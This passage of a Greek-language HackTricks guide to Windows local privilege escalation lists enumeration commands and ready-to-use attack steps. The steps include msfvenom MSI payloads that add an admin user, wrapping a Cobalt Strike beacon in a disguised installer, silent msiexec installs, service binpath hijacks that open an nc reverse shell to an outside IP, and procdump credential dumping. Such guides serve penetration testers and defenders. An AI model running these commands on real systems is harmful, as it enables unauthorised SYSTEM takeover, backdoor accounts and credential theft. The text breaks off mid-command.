hacktricks/windows-hardening/windows-local-privilege-escalation/README.md

106 KiB
Raw Blame History

Ανύψωση Προνομίων Τοπικά στα Windows

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team AWS του HackTricks)!

Καλύτερο εργαλείο για αναζήτηση διανυσμάτων ανύψωσης προνομίων τοπικά στα Windows: WinPEAS

Αρχική Θεωρία Windows

Διακριτικά Πρόσβασης

Αν δεν ξέρετε τι είναι τα Διακριτικά Πρόσβασης των Windows, διαβάστε την παρακάτω σελίδα πριν συνεχίσετε:

{% content-ref url="access-tokens.md" %} access-tokens.md {% endcontent-ref %}

ACLs - DACLs/SACLs/ACEs

Ελέγξτε την παρακάτω σελίδα για περισσότερες πληροφορίες σχετικά με τα ACLs - DACLs/SACLs/ACEs:

{% content-ref url="acls-dacls-sacls-aces.md" %} acls-dacls-sacls-aces.md {% endcontent-ref %}

Επίπεδα Ακεραιότητας

Αν δεν ξέρετε τι είναι τα επίπεδα ακεραιότητας στα Windows, πρέπει να διαβάσετε την παρακάτω σελίδα πριν συνεχίσετε:

{% content-ref url="integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

Ελέγχοι Ασφαλείας Windows

Υπάρχουν διάφορα πράγματα στα Windows που θα μπορούσαν να σας εμποδίσουν από το να απαριθμήσετε το σύστημα, να εκτελέσετε εκτελέσιμα ή ακόμη και να ανιχνεύσουν τις δραστηριότητές σας. Θα πρέπει να διαβάσετε την ακόλουθη σελίδα και να απαριθμήσετε όλα αυτά τα μηχανισμούς άμυνας πριν ξεκινήσετε την απαρίθμηση ανύψωσης προνομίων:

{% content-ref url="../authentication-credentials-uac-and-efs/" %} authentication-credentials-uac-and-efs {% endcontent-ref %}

Πληροφορίες Συστήματος

Απαρίθμηση πληροφοριών έκδοσης

Ελέγξτε αν η έκδοση των Windows έχει κάποια γνωστή ευπάθεια (ελέγξτε επίσης τις εφαρμογές που έχουν εφαρμοστεί).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Εκμετάλλευση Εκδόσεων

Αυτό το site είναι χρήσιμο για την αναζήτηση λεπτομερών πληροφοριών σχετικά με τις ευπαθείς σημεία ασφαλείας της Microsoft. Αυτή η βάση δεδομένων έχει περισσότερες από 4.700 ευπαθείς σημεία ασφαλείας, δείχνοντας την μαζική επιφάνεια επίθεσης που παρουσιάζει ένα περιβάλλον Windows.

Στο σύστημα

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Το Winpeas έχει ενσωματωμένο το watson)

Τοπικά με πληροφορίες συστήματος

Αποθετήρια Github εκμεταλλεύσεων:

Περιβάλλον

Υπάρχουν κάποιες διαπιστευτικές/Χυμώδεις πληροφορίες που έχουν αποθηκευτεί στις μεταβλητές περιβάλλοντος;

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Ιστορικό PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Αρχεία καταγραφής PowerShell Transcript

Μπορείτε να μάθετε πώς να ενεργοποιήσετε αυτή τη λειτουργία στο https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

Καταγραφή Ενότητας PowerShell

Λεπτομέρειες εκτελέσεων αγωγών PowerShell καταγράφονται, περιλαμβάνοντας εκτελεσθέντες εντολές, κλήσεις εντολών και τμήματα σεναρίων. Ωστόσο, ενδέχεται να μην καταγράφονται πλήρως λεπτομέρειες εκτέλεσης και αποτελέσματα εξόδου.

Για να ενεργοποιήσετε αυτήν τη λειτουργία, ακολουθήστε τις οδηγίες στην ενότητα "Αρχεία Μεταγραφής", επιλέγοντας την "Καταγραφή Ενότητας" αντί για την "Μεταγραφή Powershell".

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Για να δείτε τα τελευταία 15 συμβάντα από τα logs του Powershell μπορείτε να εκτελέσετε:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

Καταγραφή Εντολών PowerShell Script Block

Καταγράφεται μια πλήρης εγγραφή δραστηριότητας και περιεχομένου της εκτέλεσης του script, εξασφαλίζοντας ότι κάθε τμήμα κώδικα καταγράφεται καθώς εκτελείται. Αυτή η διαδικασία διατηρεί έναν πλήρη απολογισμό κάθε δραστηριότητας, πολύτιμο για την ανάλυση ψηφιακών αποδεικτικών στοιχείων και την ανάλυση κακόβουλης συμπεριφοράς. Με την καταγραφή όλων των δραστηριοτήτων κατά την εκτέλεση, παρέχονται λεπτομερείς εισαγωγές στη διαδικασία.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Τα γεγονότα καταγραφής για το Script Block μπορούν να βρεθούν στον Windows Event Viewer στη διαδρομή: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Για να δείτε τα τελευταία 20 γεγονότα, μπορείτε να χρησιμοποιήσετε:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Ρυθμίσεις Διαδικτύου

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Δίσκοι

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Μπορείτε να εκμεταλλευτείτε το σύστημα εάν οι ενημερώσεις δεν ζητούνται χρησιμοποιώντας httpS αλλά http.

Ξεκινήστε ελέγχοντας εάν το δίκτυο χρησιμοποιεί μη-SSL ενημερώσεις WSUS εκτελώντας το παρακάτω:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Εάν λάβετε μια απάντηση όπως:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

Και αν HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer είναι ίσο με 1.

Τότε, είναι εκμεταλλεύσιμο. Αν το τελευταίο καταχωρίσει είναι ίσο με 0, τότε, η καταχώριση WSUS θα αγνοηθεί.

Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: Wsuxploit, pyWSUS - Αυτά είναι σενάρια εκμετάλλευσης MiTM για να εισάγουν 'ψεύτικες' ενημερώσεις στην μη-SSL κίνηση WSUS.

Διαβάστε την έρευνα εδώ:

{% file src="../../.gitbook/assets/CTX_WSUSpect_White_Paper (1).pdf" %}

WSUS CVE-2020-1013

Διαβάστε την πλήρη έκθεση εδώ.
Βασικά, αυτή είναι η αδυναμία που εκμεταλλεύεται αυτό το σφάλμα:

Αν έχουμε τη δυνατότητα να τροποποιήσουμε τον τοπικό μας proxy χρήστη, και τα Windows Updates χρησιμοποιούν τον proxy που έχει ρυθμιστεί στις ρυθμίσεις του Internet Explorer, έχουμε συνεπώς τη δυνατότητα να εκτελέσουμε το PyWSUS τοπικά για να παρεμβάλουμε τη δική μας κίνηση και να εκτελέσουμε κώδικα ως χρήστης με υψηλά δικαιώματα στο περιουσιακό μας στοιχείο.

Επιπλέον, αφού η υπηρεσία WSUS χρησιμοποιεί τις ρυθμίσεις του τρέχοντος χρήστη, θα χρησιμοποιήσει επίσης το αποθετήριο πιστοποιητικών του. Αν δημιουργήσουμε ένα πιστοποιητικό αυτο-υπογεγραμμένο για το όνομα κεντρικού υπολογιστή WSUS και προσθέσουμε αυτό το πιστοποιητικό στο αποθετήριο πιστοποιητικών του τρέχοντος χρήστη, θα είμαστε σε θέση να παρεμβάλουμε την κίνηση WSUS τόσο HTTP όσο και HTTPS. Η WSUS δεν χρησιμοποιεί μηχανισμούς όπως το HSTS για να εφαρμόσει μια επικύρωση τύπου εμπιστοσύνης-στην-πρώτη-χρήση στο πιστοποιητικό. Αν το πιστοποιητικό που παρουσιάζεται είναι εμπιστευμένο από τον χρήστη και έχει το σωστό όνομα κεντρικού υπολογιστή, θα γίνει αποδεκτό από την υπηρεσία.

Μπορείτε να εκμεταλλευτείτε αυτήν την ευπάθεια χρησιμοποιώντας το εργαλείο WSUSpicious (όταν απελευθερωθεί).

KrbRelayUp

Μια ευπάθεια εκμετάλλευσης προνομίων στοπληροφοριών υπάρχει σε περιβάλλοντα Windows τομέα υπό συγκεκριμένες συνθήκες. Αυτές οι συνθήκες περιλαμβάνουν περιβάλλοντα όπου δεν επιβάλλεται η υπογραφή LDAP, οι χρήστες διαθέτουν αυτο-δικαιώματα που τους επιτρέπουν να ρυθμίσουν Περιορισμένη Ανάθεση Αντικειμένου βάσει Πόρων (RBCD), και η δυνατότητα για τους χρήστες να δημιουργούν υπολογιστές εντός του τομέα. Σημαντικό είναι να σημειωθεί ότι αυτές οι απαιτήσεις πληρούνται χρησιμοποιώντας τις προεπιλεγμένες ρυθμίσεις.

Βρείτε την εκμετάλλευση στο https://github.com/Dec0ne/KrbRelayUp

Για περισσότερες πληροφορίες σχετικά με τη ροή της επίθεσης ελέγξτε https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Αν αυτά τα 2 καταχωρίσεις είναι ενεργοποιημένες (η τιμή είναι 0x1), τότε οι χρήστες οποιουδήποτε προνομίου μπορούν να εγκαταστήσουν (εκτελέσουν) αρχεία *.msi ως NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Φορτία Metasploit

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Αν έχετε μια συνεδρία meterpreter, μπορείτε να αυτοματοποιήσετε αυτήν την τεχνική χρησιμοποιώντας το module exploit/windows/local/always_install_elevated

PowerUP

Χρησιμοποιήστε την εντολή Write-UserAddMSI από το power-up για να δημιουργήσετε μέσα στον τρέχοντα κατάλογο ένα δυαδικό αρχείο Windows MSI για την ανάδειξη προνομίων. Αυτό το script γράφει ένα προκατασκευασμένο εγκαταστάτη MSI που ζητάει προσθήκη χρήστη/ομάδας (επομένως θα χρειαστείτε πρόσβαση στο GUI):

Write-UserAddMSI

Περιτύλιγμα MSI

Διαβάστε αυτό το εγχειρίδιο για να μάθετε πώς να δημιουργήσετε ένα περιτύλιγμα MSI χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να περιτυλίξετε ένα αρχείο ".bat" αν θέλετε απλά να εκτελέσετε γραμμές εντολών.

{% content-ref url="msi-wrapper.md" %} msi-wrapper.md {% endcontent-ref %}

Δημιουργία MSI με WIX

{% content-ref url="create-msi-with-wix.md" %} create-msi-with-wix.md {% endcontent-ref %}

Δημιουργία MSI με το Visual Studio

  • Δημιουργήστε με το Cobalt Strike ή το Metasploit ένα νέο Windows EXE TCP payload στο C:\privesc\beacon.exe
  • Ανοίξτε το Visual Studio, επιλέξτε Δημιουργία νέου έργου και πληκτρολογήστε "installer" στο πλαίσιο αναζήτησης. Επιλέξτε το έργο Setup Wizard και κάντε κλικ στο Επόμενο.
  • Δώστε στο έργο ένα όνομα, όπως AlwaysPrivesc, χρησιμοποιήστε το C:\privesc για την τοποθεσία, επιλέξτε τοποθέτηση λύσης και έργου στον ίδιο κατάλογο, και κάντε κλικ στο Δημιουργία.
  • Συνεχίστε να κάνετε κλικ στο Επόμενο μέχρι να φτάσετε στο βήμα 3 από 4 (επιλογή αρχείων για συμπερίληψη). Κάντε κλικ στο Προσθήκη και επιλέξτε το payload Beacon που μόλις δημιουργήσατε. Στη συνέχεια, κάντε κλικ στο Ολοκλήρωση.
  • Επισημάνετε το έργο AlwaysPrivesc στο Εξερευνητή λύσεων και στις Ιδιότητες, αλλάξτε το TargetPlatform από x86 σε x64.
  • Υπάρχουν και άλλες ιδιότητες που μπορείτε να αλλάξετε, όπως ο Συγγραφέας και ο Κατασκευαστής που μπορεί να κάνουν την εγκατεστημένη εφαρμογή να φαίνεται πιο νόμιμη.
  • Δεξί κλικ στο έργο και επιλέξτε Προβολή > Προσαρμοσμένες ενέργειες.
  • Δεξί κλικ στην Εγκατάσταση και επιλέξτε Προσθήκη προσαρμοσμένης ενέργειας.
  • Διπλό κλικ στο Φάκελος Εφαρμογής, επιλέξτε το αρχείο beacon.exe σας και κάντε κλικ στο ΟΚ. Αυτό θα εξασφαλίσει ότι το payload του beacon θα εκτελεστεί αμέσως μόλις εκτελεστεί ο εγκαταστάτης.
  • Υπό τις Ιδιότητες Προσαρμοσμένης Ενέργειας, αλλάξτε το Run64Bit σε True.
  • Τέλος, κάντε την κατασκευή.
  • Αν εμφανιστεί το προειδοποιητικό μήνυμα Το αρχείο 'beacon-tcp.exe' που στοχεύει σε 'x64' δεν είναι συμβατό με την κατεύθυνση της πλατφόρμας στόχου του έργου 'x86', βεβαιωθείτε ότι έχετε ορίσει την πλατφόρμα σε x64.

Εγκατάσταση MSI

Για να εκτελέσετε την εγκατάσταση του κακόβουλου αρχείου .msi στο παρασκήνιο:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Για να εκμεταλλευτείτε αυτή την ευπάθεια μπορείτε να χρησιμοποιήσετε: exploit/windows/local/always_install_elevated

Αντιιούς και Ανιχνευτές

Ρυθμίσεις Ελέγχου

Αυτές οι ρυθμίσεις καθορίζουν τι καταγράφεται, οπότε πρέπει να είστε προσεκτικοί

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Η προώθηση γεγονότων των Windows (Windows Event Forwarding) είναι ενδιαφέρουσα για να γνωρίζουμε πού στέλνονται τα logs.

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS σχεδιάστηκε για τη διαχείριση των κωδικών πρόσβασης του τοπικού Διαχειριστή, εξασφαλίζοντας ότι κάθε κωδικός είναι μοναδικός, τυχαίος και ενημερώνεται τακτικά σε υπολογιστές που είναι ενταγμένοι σε έναν τομέα. Αυτοί οι κωδικοί αποθηκεύονται με ασφάλεια μέσα στο Active Directory και μπορούν να προσπελαστούν μόνο από χρήστες που έχουν δοθεί επαρκή δικαιώματα μέσω των ACLs, επιτρέποντάς τους να προβάλλουν τους κωδικούς του τοπικού διαχειριστή εάν έχουν εξουσιοδοτηθεί.

{% content-ref url="../active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}

WDigest

Εάν είναι ενεργοποιημένο, οι κωδικοί πρόσβασης σε καθαρό κείμενο αποθηκεύονται στο LSASS (Local Security Authority Subsystem Service).
Περισσότερες πληροφορίες σχετικά με το WDigest σε αυτήν τη σελίδα.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

Προστασία LSA

Ξεκινώντας από τα Windows 8.1, η Microsoft εισήγαγε ενισχυμένη προστασία για την Αρχή Τοπικής Ασφάλειας (LSA) για να αποκλείσει προσπάθειες από μη έμπιστες διεργασίες να διαβάσουν τη μνήμη της ή να ενθέσουν κώδικα, ενισχύοντας περαιτέρω το σύστημα.
Περισσότερες πληροφορίες σχετικά με την Προστασία LSA εδώ.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Προστασία Διαπιστευτηρίων

Η Προστασία Διαπιστευτηρίων εισήχθη στα Windows 10. Ο σκοπός της είναι να προστατεύει τα διαπιστευτήρια που αποθηκεύονται σε μια συσκευή από απειλές όπως οι επιθέσεις pass-the-hash. | Περισσότερες πληροφορίες σχετικά με την Προστασία Διαπιστευτηρίων εδώ.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Κρυπτογραφημένα Διαπιστευτήρια

Τα διαπιστευτήρια τομέα ελέγχονται από την Τοπική Αρχή Ασφαλείας (LSA) και χρησιμοποιούνται από στοιχεία του λειτουργικού συστήματος. Όταν τα δεδομένα σύνδεσης ενός χρήστη ελέγχονται από ένα εγγεγραμμένο πακέτο ασφαλείας, τα διαπιστευτήρια τομέα για τον χρήστη καθορίζονται τυπικά.
Περισσότερες πληροφορίες για τα Κρυπτογραφημένα Διαπιστευτήρια εδώ.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Χρήστες & Ομάδες

Απαρίθμηση Χρηστών & Ομάδων

Θα πρέπει να ελέγξετε αν κάποια από τις ομάδες στις οποίες ανήκετε έχουν ενδιαφέρουσες άδειες.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Προνομιούχες ομάδες

Αν ανήκετε σε κάποια προνομιούχα ομάδα, μπορείτε να αναβαθμίσετε τα προνόμια. Μάθετε σχετικά με τις προνομιούχες ομάδες και πώς να τις εκμεταλλευτείτε για την αναβάθμιση προνομίων εδώ:

{% content-ref url="../active-directory-methodology/privileged-groups-and-token-privileges.md" %} privileged-groups-and-token-privileges.md {% endcontent-ref %}

Αλλαγή διακριτικού (Token manipulation)

Μάθετε περισσότερα για το τι είναι ένα διακριτικό (token) σε αυτήν τη σελίδα: Windows Tokens.
Ελέγξτε την παρακάτω σελίδα για να μάθετε σχετικά με ενδιαφέροντα διακριτικά και πώς να τα εκμεταλλευτείτε:

{% content-ref url="privilege-escalation-abusing-tokens.md" %} privilege-escalation-abusing-tokens.md {% endcontent-ref %}

Συνδεδεμένοι χρήστες / Συνεδρίες

qwinsta
klist sessions

Φάκελοι Αρχικού Καταλόγου

dir C:\Users
Get-ChildItem C:\Users

Πολιτική Κωδικού Πρόσβασης

net accounts

Λήψη του περιεχομένου του πρόχειρου

powershell -command "Get-Clipboard"

Εκτέλεση Διεργασιών

Δικαιώματα Αρχείων και Φακέλων

Καταρχάς, η λίστα των διεργασιών ελέγχει για κωδικούς πρόσβασης μέσα στη γραμμή εντολών της διεργασίας.
Ελέγξτε αν μπορείτε να αντικαταστήσετε κάποιο δυαδικό που εκτελείται ή αν έχετε δικαιώματα εγγραφής στον φάκελο του δυαδικού για να εκμεταλλευτείτε πιθανές επιθέσεις DLL Hijacking:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Πάντα ελέγχετε για πιθανούς αποσφαλματωτές electron/cef/chromium που τρέχουν, θα μπορούσατε να τους εκμεταλλευτείτε για να αναβαθμίσετε δικαιώματα.

Έλεγχος δικαιωμάτων των διεργασιών των δυαδικών αρχείων

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Έλεγχος των δικαιωμάτων των φακέλων των διεργασιών των δυαδικών αρχείων (Απάτη DLL)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Εξόρυξη Κωδικών Μνήμης

Μπορείτε να δημιουργήσετε ένα αντίγραφο μνήμης ενός εκτελούμενου διεργασίας χρησιμοποιώντας το procdump από τα sysinternals. Υπηρεσίες όπως το FTP έχουν τα διαπιστευτήριά τους σε κείμενο καθαρά στη μνήμη, προσπαθήστε να κάνετε αντιγραφή της μνήμης και να διαβάσετε τα διαπιστευτήρια.

procdump.exe -accepteula -ma <proc_name_tasklist>

Ευάλωτες εφαρμογές GUI

Οι εφαρμογές που εκτελούνται ως SYSTEM μπορεί να επιτρέπουν σε έναν χρήστη να εκκινήσει ένα CMD ή να περιηγηθεί σε φακέλους.

Παράδειγμα: "Βοήθεια και Υποστήριξη των Windows" (Windows + F1), αναζητήστε "command prompt", κάντε κλικ στο "Κάντε κλικ για να ανοίξετε το Command Prompt"

Υπηρεσίες

Λήψη λίστας υπηρεσιών:

net start
wmic service list brief
sc query
Get-Service

Δικαιώματα

Μπορείτε να χρησιμοποιήσετε το sc για να λάβετε πληροφορίες για ένα υπηρεσία

sc qc <service_name>

Συνιστάται να έχετε το δυαδικό accesschk από το Sysinternals για να ελέγξετε το απαιτούμενο επίπεδο προνομίων για κάθε υπηρεσία.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Συνιστάται να ελέγξετε εάν οι "Εξουσιοδοτημένοι Χρήστες" μπορούν να τροποποιήσουν οποιαδήποτε υπηρεσία:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Μπορείτε να κατεβάσετε το accesschk.exe για XP από εδώ

Ενεργοποίηση υπηρεσίας

Αν αντιμετωπίζετε αυτό το σφάλμα (για παράδειγμα με το SSDPSRV):

Έχει συμβεί σφάλμα συστήματος 1058.
Η υπηρεσία δεν μπορεί να ξεκινήσει, είτε επειδή είναι απενεργοποιημένη είτε επειδή δεν έχει ενεργοποιημένες συσκευές που σχετίζονται μαζί της.

Μπορείτε να την ενεργοποιήσετε χρησιμοποιώντας

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Λάβετε υπόψη ότι η υπηρεσία upnphost εξαρτάται από την υπηρεσία SSDPSRV για να λειτουργήσει (για XP SP1)

Ένας άλλος τρόπος αντιμετώπισης αυτού του προβλήματος είναι η εκτέλεση:

sc.exe config usosvc start= auto

Τροποποίηση της διαδρομής του δυαδικού αρχείου υπηρεσίας

Στην περίπτωση όπου η ομάδα "Εξουσιοδοτημένοι χρήστες" διαθέτει SERVICE_ALL_ACCESS σε μια υπηρεσία, είναι δυνατή η τροποποίηση του εκτελέσιμου δυαδικού αρχείου της υπηρεσίας. Για να τροποποιήσετε και να εκτελέσετε το sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Επανεκκίνηση υπηρεσίας

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Τα δικαιώματα μπορούν να ενισχυθούν μέσω διαφόρων άδειών:

  • SERVICE_CHANGE_CONFIG: Επιτρέπει την αναδιαμόρφωση του δυαδικού της υπηρεσίας.
  • WRITE_DAC: Ενεργοποιεί την αναδιάρθρωση δικαιωμάτων, οδηγώντας στη δυνατότητα αλλαγής των ρυθμίσεων της υπηρεσίας.
  • WRITE_OWNER: Επιτρέπει την απόκτηση ιδιοκτησίας και αναδιάρθρωση δικαιωμάτων.
  • GENERIC_WRITE: Κληρονομεί τη δυνατότητα αλλαγής των ρυθμίσεων της υπηρεσίας.
  • GENERIC_ALL: Επίσης κληρονομεί τη δυνατότητα αλλαγής των ρυθμίσεων της υπηρεσίας.

Για τον εντοπισμό και την εκμετάλλευση αυτής της ευπάθειας, μπορεί να χρησιμοποιηθεί το exploit/windows/local/service_permissions.

Αδύναμα δικαιώματα δυαδικών υπηρεσιών

Ελέγξτε αν μπορείτε να τροποποιήσετε το δυαδικό που εκτελείται από μια υπηρεσία ή αν έχετε δικαιώματα εγγραφής στον φάκελο όπου βρίσκεται το δυαδικό (DLL Hijacking).
Μπορείτε να λάβετε κάθε δυαδικό που εκτελείται από μια υπηρεσία χρησιμοποιώντας wmic (όχι στο system32) και να ελέγξετε τα δικαιώματά σας χρησιμοποιώντας icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Μπορείτε επίσης να χρησιμοποιήσετε τα sc και icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Δικαιώματα τροποποίησης μητρώου υπηρεσιών

Πρέπει να ελέγξετε εάν μπορείτε να τροποποιήσετε οποιοδήποτε μητρώο υπηρεσιών.
Μπορείτε να ελέγξετε τα δικαιώματά σας σε ένα μητρώο υπηρεσιών κάνοντας:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Πρέπει να ελεγχθεί εάν οι Εξουσιοδοτημένοι Χρήστες ή NT AUTHORITY\INTERACTIVE διαθέτουν δικαιώματα FullControl. Αν ναι, το δυαδικό που εκτελείται από την υπηρεσία μπορεί να τροποποιηθεί.

Για να αλλάξετε τη διαδρομή του δυαδικού που εκτελείται:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Δικαιώματα προσάρτησης δεδομένων/προσθήκης υποκαταλόγου στο μητρώο υπηρεσιών

Αν έχετε αυτό το δικαίωμα σε ένα μητρώο, αυτό σημαίνει ότι μπορείτε να δημιουργήσετε υπομητρώα από αυτό. Στην περίπτωση των υπηρεσιών των Windows αυτό είναι αρκετό για την εκτέλεση αυθαίρετου κώδικα:

{% content-ref url="appenddata-addsubdirectory-permission-over-service-registry.md" %} appenddata-addsubdirectory-permission-over-service-registry.md {% endcontent-ref %}

Μη-περικλειόμενοι Διαδρομές Υπηρεσιών

Αν η διαδρομή προς ένα εκτελέσιμο δεν βρίσκεται μέσα σε εισαγωγικά, τα Windows θα προσπαθήσουν να εκτελέσουν κάθε τελείωμα πριν από ένα κενό.

Για παράδειγμα, για τη διαδρομή C:\Program Files\Some Folder\Service.exe τα Windows θα προσπαθήσουν να εκτελέσουν:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Καταγράψτε όλα τα μη-περικυκλωμένα μονοπάτια υπηρεσιών, εξαιρώντας αυτά που ανήκουν σε ενσωματωμένες υπηρεσίες των Windows:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services

#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
